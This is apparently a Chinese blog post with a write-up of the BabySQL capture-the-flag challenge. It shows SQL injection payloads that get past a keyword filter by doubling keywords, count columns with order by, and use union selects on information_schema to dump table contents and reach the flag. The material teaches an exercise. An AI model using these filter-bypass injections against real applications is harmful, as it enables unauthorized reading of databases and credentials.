[极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL

判断类型

SQL关键字绕过,这道题可以双写绕过。

username=1' or 1=1#

password=1' or 1=1#

得到报错:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1 #' and password='1' 1=1#'' at line 1

看得出来,password='1' 1=1#''1中间的or被过滤了

试试双写:

username=1' oorr 1=1#

password=1' oorr 1=1#

得到结果:

Hello admin!

Your password is '4c7aa7ae3b8837418b03e1c98844e89a'

获得数据库相关信息,获得flag

查看回显点个数:

username=1' oorrder bbyy 4#

报错:Unknown column '4' in 'order clause'

username=1' oorrder bbyy 3#

回显正常,说明回显点个数为3

测试回显点位置:

username=1' ununionion seselectlect 1,2,3#

回显:

Hello 2!

Your password is '3'

知道回显点之后,就可以开始套数据了

1' ununionion seselectlect 1,database(),3 #

数据库名为geek

1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

得到表名为b4bsql geekuser

1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#

列名都是id,username,password

1' ununionion seselectlect 1,group_concat(id,username,passwoorrd),3 frfromom b4bsql#

flag在其中

posted @ 2024-07-22 17:45  8o1er9t  阅读(6)  评论(0编辑  收藏  举报